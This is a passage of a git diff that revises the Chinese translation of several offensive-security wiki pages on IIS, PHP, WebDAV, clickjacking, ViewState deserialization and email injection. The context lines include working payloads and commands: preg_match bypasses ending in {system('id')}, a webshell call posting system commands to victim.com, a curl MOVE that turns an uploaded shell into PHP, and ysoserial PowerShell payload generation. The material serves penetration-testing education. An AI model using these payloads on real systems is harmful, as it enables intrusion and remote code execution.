[https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 中所做的那样。 @@ -213,13 +213,13 @@ C:\xampp\tomcat\conf\server.xml **绕过**基本身份验证(**IIS 7.5**),尝试访问:`/admin:$i30:$INDEX_ALLOCATION/admin.php` 或 `/admin::$INDEX_ALLOCATION/admin.php` -您可以尝试将此**漏洞**与最后一个结合,以发现新的**文件夹**并**绕过**身份验证。 +你可以尝试将此**漏洞**与上一个结合,以发现新的**文件夹**并**绕过**身份验证。 ## ASP.NET Trace.AXD 启用调试 ASP.NET 包含调试模式,其文件名为 `trace.axd`。 -它保持对在一段时间内对应用程序所做的所有请求的详细日志。 +它保持对一段时间内对应用程序所做的所有请求的详细日志。 此信息包括远程客户端 IP、会话 ID、所有请求和响应 cookie、物理路径、源代码信息,甚至可能包括用户名和密码。 @@ -232,16 +232,16 @@ ASP.NET 包含调试模式,其文件名为 `trace.axd`。 ASPXAUTH 使用以下信息: - **`validationKey`**(字符串):用于签名验证的十六进制编码密钥。 -- **`decryptionMethod`**(字符串):(默认“ AES”)。 +- **`decryptionMethod`**(字符串):(默认“AES”)。 - **`decryptionIV`**(字符串):十六进制编码的初始化向量(默认为零向量)。 - **`decryptionKey`**(字符串):用于解密的十六进制编码密钥。 -然而,有些人会使用这些参数的**默认值**,并将**用户的电子邮件**用作**cookie**。因此,如果您可以找到一个使用 ASPXAUTH cookie 的**相同平台**的网页,并且您**在被攻击的服务器上创建一个与您想要冒充的用户的电子邮件相同的用户**,您可能能够在第一个服务器中**使用第二个服务器的 cookie**并冒充该用户。\ +然而,有些人会使用这些参数的**默认值**,并将**用户的电子邮件**用作**cookie**。因此,如果你能找到一个使用 ASPXAUTH cookie 的**相同平台**的网页,并且你**在被攻击的服务器上创建一个与要冒充的用户相同的电子邮件的用户**,你可能能够在第一个服务器中**使用第二个服务器的 cookie**,并冒充该用户。\ 这个攻击在这个 [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) 中有效。 ## IIS 身份验证绕过与缓存密码 (CVE-2022-30209) -[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):代码中的一个错误**没有正确检查用户提供的密码**,因此一个**密码哈希命中**已经在**缓存**中的密钥的攻击者将能够以该用户身份登录。 +[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):代码中的一个错误**没有正确检查用户提供的密码**,因此一个攻击者如果**密码哈希命中缓存中的一个键**,将能够以该用户身份登录。 ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 08f4eb43b..f00989319 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -22,7 +22,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ### 松散比较/类型转换 ( == ) -如果在 PHP 中使用 `==`,则会出现一些意外情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`。 +如果在 PHP 中使用 `==`,则会出现一些意想不到的情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`。 PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) @@ -39,7 +39,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串**: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` 字符串中的任何字母等于 int 0 -更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) +更多信息请参见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) ### **in_array()** @@ -70,11 +70,11 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ``` ### preg_match(/^.\*/) -**`preg_match()`** 可用于 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式** 在 **黑名单** 中 **出现在** **用户输入** 中,如果没有,代码可以继续执行)。 +**`preg_match()`** 可以用来 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式** 在 **黑名单** 中 **出现在** 用户输入中,如果没有,代码可以继续执行)。 #### New line bypass -然而,当限定正则表达式的开始时,`preg_match()` **仅检查用户输入的第一行**,因此如果你能够以 **多行** 发送输入,你可能能够绕过此检查。示例: +然而,当限定正则表达式的开始时,`preg_match()` **只检查用户输入的第一行**,因此如果你能够以 **多行** 发送输入,你可能能够绕过这个检查。示例: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -要绕过此检查,您可以**使用 URL 编码发送带有换行符的值**(`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**发送: +要绕过此检查,您可以**发送带有换行符的 URL 编码值**(`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**: ```php { "cmd": "cat /etc/passwd" @@ -106,21 +106,21 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' #### ReDoS 绕过 -技巧来源: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong) +技巧来源于: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) 和 [https://mizu.re/post/pong](https://mizu.re/post/pong)
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。 [这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\ -**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个惊喜,例如 `{system()}` 以获得 SSTI --> RCE --> flag :)**。 +**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 `{system()}` 的惊喜以获取 SSTI --> RCE --> flag :)**。 好吧,从正则表达式的角度来看,我们实际上并不是在进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1_000_000(1M)。\ 要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤(50万向前和50万向后): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### PHP 混合类型用于混淆 +### PHP混淆的类型转换 ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -133,7 +133,7 @@ $obfs += ""; //int 7 ``` ## Execute After Redirect (EAR) -如果 PHP 在重定向到另一个页面后没有调用 **`die`** 或 **`exit`** 函数,且在设置了头部 `Location` 后,PHP 将继续执行并将数据附加到主体: +如果 PHP 正在重定向到另一个页面,但在设置头部 `Location` 之后没有调用 **`die`** 或 **`exit`** 函数,PHP 将继续执行并将数据附加到主体: ```php ** 以查看 php 目录是否被激活。 @@ -162,7 +162,7 @@ readfile($page); ### password_hash/password_verify 这些函数通常在 PHP 中用于 **从密码生成哈希** 并 **检查** 密码是否与哈希匹配。\ -支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用该算法对大于 72 字节的内容进行哈希时,仅会使用前 72B: +支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。** 目前,**PASSWORD_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用此算法对大于 72 字节的内容进行哈希时,仅会使用前 72B: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -176,7 +176,7 @@ True 从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时,PHOP 不会在响应中设置头部。 -这允许绕过例如在代码中设置的 CSP 头部,如: +这允许绕过例如在代码中设置的 CSP 头部: ```php {system($_GET[chr(97)])} ``` ## PHP 静态分析 -查看您是否可以在对这些函数的调用中插入代码(来自 [here](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)): +查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)): ```php exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents @@ -352,7 +352,7 @@ echo "$x ${Da}"; //Da Drums ``` ## RCE 利用新的 $\_GET\["a"]\($\_GET\["b") -如果在一个页面中你可以 **创建一个任意类的新对象**,你可能能够获得 RCE,查看以下页面以了解如何: +如果在一个页面中你可以**创建一个任意类的新对象**,你可能能够获得 RCE,查看以下页面以了解如何: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -411,7 +411,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_=' ```php lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE" ``` -### Perl 类似 +### 类似 Perl ```php #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension @@ -39,7 +39,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav 漏洞 -这个漏洞非常有趣。**WebDav** 不允许 **上传** 或 **重命名** 扩展名为 **.asp** 的文件。但你可以通过在名称末尾 **添加** **";.txt"** 来 **绕过** 这个限制,文件将被 **执行** 如同它是一个 .asp 文件(你也可以 **使用 ".html" 而不是 ".txt"** 但 **不要忘记 ";"**)。 +这个漏洞非常有趣。**WebDav** 不允许 **上传** 或 **重命名** 扩展名为 **.asp** 的文件。但你可以通过在名称末尾 **添加** **";.txt"** 来 **绕过** 这个限制,文件将被 **执行** 就像它是一个 .asp 文件(你也可以 **使用 ".html" 而不是 ".txt"** 但 **不要忘记 ";"**)。 然后你可以将你的 shell 作为一个 ".**txt" 文件 **上传,并 **复制/移动** 到一个 ".asp;.txt" 文件。通过网络服务器访问该文件时,它将被 **执行**(cadaver 会说移动操作没有成功,但实际上是成功的)。 @@ -48,7 +48,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ## 后凭证 如果 Webdav 使用的是 Apache 服务器,你应该查看 Apache 中配置的网站。通常:\ -\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ +\_**/etc/apache2/sites-enabled/000-default**_ 在里面你可能会找到类似的内容: ``` @@ -67,7 +67,7 @@ Require valid-user ``` 在这种类型的文件中,您将找到 **username** 和 **hash** 的密码。这些是 webdav 服务器用于验证用户的凭据。 -您可以尝试 **crack** 它们,或者如果出于某种原因您想要 **access** webdav 服务器,可以 **add more**: +您可以尝试 **crack** 它们,或者如果出于某种原因您想要 **access** **webdav** 服务器,可以 **add more**: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 3bc40016d..c2e85ab83 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -8,7 +8,7 @@ ### 预填充表单技巧 -有时可以在加载页面时**使用 GET 参数填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。 +有时可以在加载页面时使用 GET 参数**填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单,并发送 clickjacking 有效载荷,以便用户点击提交按钮。 ### 使用拖放填充表单 @@ -91,7 +91,7 @@ background: #F00; 如果您已识别出一个 **需要用户点击** 某个元素以 **触发** XSS 的 **XSS 攻击**,并且该页面 **易受点击劫持**,您可以利用它来欺骗用户点击按钮/链接。\ 示例:\ -&#xNAN;_Y您在账户的某些私人细节中发现了一个 **自我 XSS**(只有您可以设置和读取的细节)。包含设置这些细节的 **表单** 的页面 **易受** **点击劫持**,您可以用 GET 参数 **预填充** **表单**。_\ +_您在账户的某些私人细节中发现了一个 **自我 XSS**(这些细节 **只有您可以设置和读取**)。包含设置这些细节的 **表单** 的页面 **易受** **点击劫持**,您可以用 GET 参数 **预填充** 该 **表单**。_\ \_\_攻击者可以准备一个 **点击劫持** 攻击,通过 **预填充** **表单** 以包含 **XSS 负载**,并 **欺骗** **用户** **提交** 表单。因此,**当表单被提交** 且值被修改时,**用户将执行 XSS**。 ## 减轻点击劫持的策略 @@ -108,14 +108,14 @@ background: #F00; 然而,这些框架破坏脚本可能会被规避: - **浏览器的安全设置:** 一些浏览器可能会根据其安全设置或缺乏 JavaScript 支持来阻止这些脚本。 -- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms` 或 `allow-scripts` 值而不包含 `allow-top-navigation` 来中和框架破坏脚本。这防止了 iframe 验证它是否是顶部窗口,例如, +- **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms` 或 `allow-scripts` 值而不包含 `allow-top-navigation` 来中和框架破坏脚本。这会阻止 iframe 验证它是否是顶部窗口,例如, ```html ``` -`allow-forms` 和 `allow-scripts` 值允许在 iframe 内进行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。 +`allow-forms` 和 `allow-scripts` 值允许在 iframe 内部进行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。 ### 服务器端防御 @@ -130,7 +130,7 @@ sandbox="allow-forms allow-scripts"> #### 内容安全策略 (CSP) frame-ancestors 指令 -**CSP 中的 `frame-ancestors` 指令** 是建议的 Clickjacking 保护方法: +**CSP 中的 `frame-ancestors` 指令** 是防止 Clickjacking 的建议方法: - `frame-ancestors 'none'` - 类似于 `X-Frame-Options: deny`。 - `frame-ancestors 'self'` - 类似于 `X-Frame-Options: sameorigin`。 @@ -153,22 +153,22 @@ sandbox="allow-forms allow-scripts"> ``` Content-Security-Policy: frame-src 'self' https://trusted-website.com; ``` -此策略允许来自相同来源(self)和 https://trusted-website.com 的框架。 +此策略允许来自相同源(self)和 https://trusted-website.com 的框架。 #### `child-src` 指令 -- 在 CSP 级别 2 中引入,用于设置 web workers 和框架的有效来源。 +- 在 CSP 级别 2 中引入,用于设置 web workers 和框架的有效源。 - 作为 frame-src 和 worker-src 的后备。 ``` Content-Security-Policy: child-src 'self' https://trusted-website.com; ``` -该策略允许来自相同源(self)和 https://trusted-website.com 的框架和工作者。 +此策略允许来自相同源(self)和 https://trusted-website.com 的框架和工作者。 **使用说明:** -- 弃用:child-src 正在被逐步淘汰,取而代之的是 frame-src 和 worker-src。 +- 弃用:child-src 正在逐步被 frame-src 和 worker-src 取代。 - 回退行为:如果 frame-src 缺失,则使用 child-src 作为框架的回退。如果两者都缺失,则使用 default-src。 -- 严格的源定义:在指令中仅包含受信任的源,以防止利用。 +- 严格的源定义:在指令中仅包含可信源以防止利用。 #### JavaScript 框架破坏脚本 @@ -178,9 +178,9 @@ if (top !== self) { top.location = self.location } ``` -#### 使用反-CSRF 令牌 +#### 使用反-CSRF令牌 -- **令牌验证:** 在 web 应用程序中使用反-CSRF 令牌,以确保状态更改请求是用户有意发出的,而不是通过 Clickjacked 页面发出的。 +- **令牌验证:** 在Web应用程序中使用反-CSRF令牌,以确保状态更改请求是用户有意发出的,而不是通过Clickjacked页面发出的。 ## 参考文献 diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 971348f88..8f119448e 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -2,6 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} + + ## 什么是 ViewState **ViewState** 是 ASP.NET 中用于在网页之间维护页面和控件数据的默认机制。在渲染页面的 HTML 时,页面的当前状态和在回发期间要保留的值被序列化为 base64 编码的字符串。这些字符串随后被放置在隐藏的 ViewState 字段中。 @@ -17,7 +19,7 @@ ViewState 信息可以通过以下属性或其组合来表征: ## 测试用例 -该图像是一个表,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容摘要: +该图像是一个表,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容的摘要: 1. 对于 **任何版本的 .NET**,当 MAC 和加密都被禁用时,不需要 MachineKey,因此没有适用的方法来识别它。 2. 对于 **4.5 版本以下**,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。 @@ -44,7 +46,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false -为了**启用 ViewState MAC**,我们需要对特定的 aspx 文件进行以下更改: +为了**启用 ViewState MAC**,我们需要在特定的 aspx 文件上进行以下更改: ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` @@ -77,6 +79,8 @@ git clone https://github.com/blacklanternsecurity/badsecrets cd badsecrets python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE ``` +![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png) + 或者,它可以直接连接到目标 URL 并尝试从 HTML 中提取 viewstate: ``` pip install badsecrets @@ -86,7 +90,7 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx ``` ![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png) -为了大规模搜索易受攻击的 viewstate,结合子域枚举,可以使用 `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) 模块: +要大规模搜索易受攻击的 viewstate,结合子域枚举,可以使用 `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) 模块: ``` bbot -f subdomain-enum -m badsecrets -t evil.corp ``` @@ -104,19 +108,19 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv ``` ### 测试用例:3 – .Net < 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true -在这种情况下,不知道该参数是否受到MAC保护。因此,值可能被加密,您将**需要机器密钥来加密您的有效负载**以利用该漏洞。 +在这种情况下,不知道该参数是否受到MAC保护。因此,值可能是加密的,您将**需要机器密钥来加密您的有效负载**以利用该漏洞。 **在这种情况下,** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...** -**在 .NET 4.5 之前,** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`**已设置为_**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`**参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。** +**在 .NET 4.5 之前,** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`** 已设置为 _**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`** 参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。** -因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用**案例 2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令,通过ViewState反序列化漏洞执行RCE。 +因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用在**案例 2**中使用的 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 命令,通过 ViewState 反序列化漏洞执行 RCE。 -- 从请求中删除`__VIEWSTATEENCRYPTED`参数,以利用ViewState反序列化漏洞,否则将返回Viewstate MAC验证错误,利用将失败。 +- 从请求中删除 `__VIEWSTATEENCRYPTED` 参数,以利用 ViewState 反序列化漏洞,否则将返回 Viewstate MAC 验证错误,利用将失败。 -### 测试用例:4 – .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false,除非两个属性都为false +### 测试用例:4 – .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false,除非两个属性都为 false -我们可以通过在web.config文件中指定以下参数来强制使用ASP.NET框架,如下所示。 +我们可以通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架,如下所示。 ```xml ``` @@ -126,7 +130,7 @@ compatibilityMode="Framework45" ``` 如前所述,**值是加密的。** 然后,要发送**有效的有效负载,攻击者需要密钥**。 -您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 来查找正在使用的密钥: +您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)来查找正在使用的密钥: ``` AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx" @@ -134,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw --IISDirPath = {Directory path of website in IIS} --TargetPagePath = {Target page path in application} ``` -对于IISDirPath和TargetPagePath的更详细描述,请[参阅此处](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +对于IISDirPath和TargetPagePath的更详细描述,请[参见这里](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) 或者,使用[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(带生成器值): ```bash @@ -151,28 +155,26 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证(PoC)中得到了展示,该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多详细信息,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey,您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。 +成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证(PoC)中得到了展示,该 PoC 可以通过一个名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey,您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。 ### 测试用例 6 – 使用 ViewStateUserKeys **ViewStateUserKey** 属性可以用来 **防御** **CSRF 攻击**。如果在应用程序中定义了这样的密钥,并且我们尝试使用到目前为止讨论的方法生成 **ViewState** 有效负载,则 **有效负载将不会被应用程序处理**。\ -您需要使用一个额外的参数来正确创建有效负载: +您需要使用一个额外的参数才能正确创建有效负载: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` ### 成功利用的结果 -对于所有测试用例,如果 ViewState YSoSerial.Net 有效负载 **成功** 工作,则服务器响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。 +对于所有测试用例,如果 ViewState YSoSerial.Net 负载 **成功** 工作,则服务器响应“**500 Internal server error**”,响应内容为“**该页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。 查看 [进一步信息这里]() ## 参考文献 - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) -- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\ +- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) - - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/email-injections.md b/src/pentesting-web/email-injections.md index 230c01ea6..57198c95a 100644 --- a/src/pentesting-web/email-injections.md +++ b/src/pentesting-web/email-injections.md @@ -1,8 +1,8 @@ -# 邮件注入 +# Email Injections {{#include ../banners/hacktricks-training.md}} -## 注入已发送邮件 +## 注入已发送的电子邮件 ### 在发件人参数后注入 Cc 和 Bcc ``` @@ -52,9 +52,9 @@ Parameter #4 [ $additional_parameters ] 在这种情况下,攻击者可以**注入 sendmail 的提取参数**。 -#### /usr/sbin/sendmail 实现中的差异 +#### /usr/sbin/sendmail 实现的差异 -**sendmail** 接口是由系统上安装的 MTA 邮件软件(Sendmail、Postfix、Exim 等)提供的。尽管出于兼容性原因,**基本功能**(如 -t -i -f 参数)保持**相同**,但**其他功能和参数**根据安装的 MTA 有很大差异。 +**sendmail** 接口是由系统上安装的 **MTA 邮件软件**(Sendmail、Postfix、Exim 等)提供的。尽管出于兼容性原因,**基本功能**(如 -t -i -f 参数)保持**相同**,但**其他功能和参数**根据安装的 MTA 有很大差异。 以下是 sendmail 命令/接口的不同手册页的一些示例: @@ -62,7 +62,7 @@ Parameter #4 [ $additional_parameters ] - Postfix MTA: http://www.postfix.org/mailq.1.html - Exim MTA: https://linux.die.net/man/8/eximReferences -根据**sendmail**二进制文件的来源,发现了不同的选项来滥用它们并**泄露文件或甚至执行任意命令**。查看如何在 [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) +根据**sendmail** 二进制文件的来源,发现了不同的选项来滥用它们并**泄露文件或甚至执行任意命令**。查看如何在 [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## 在电子邮件名称中注入 @@ -73,11 +73,11 @@ Parameter #4 [ $additional_parameters ] 符号:**+、-** 和 **{}** 在少数情况下可以用于标记,并被大多数电子邮件服务器忽略。 -- 例如 john.doe+intigriti@example.com → john.doe@example.com +- 例如,john.doe+intigriti@example.com → john.doe@example.com -**括号 () 中的注释** 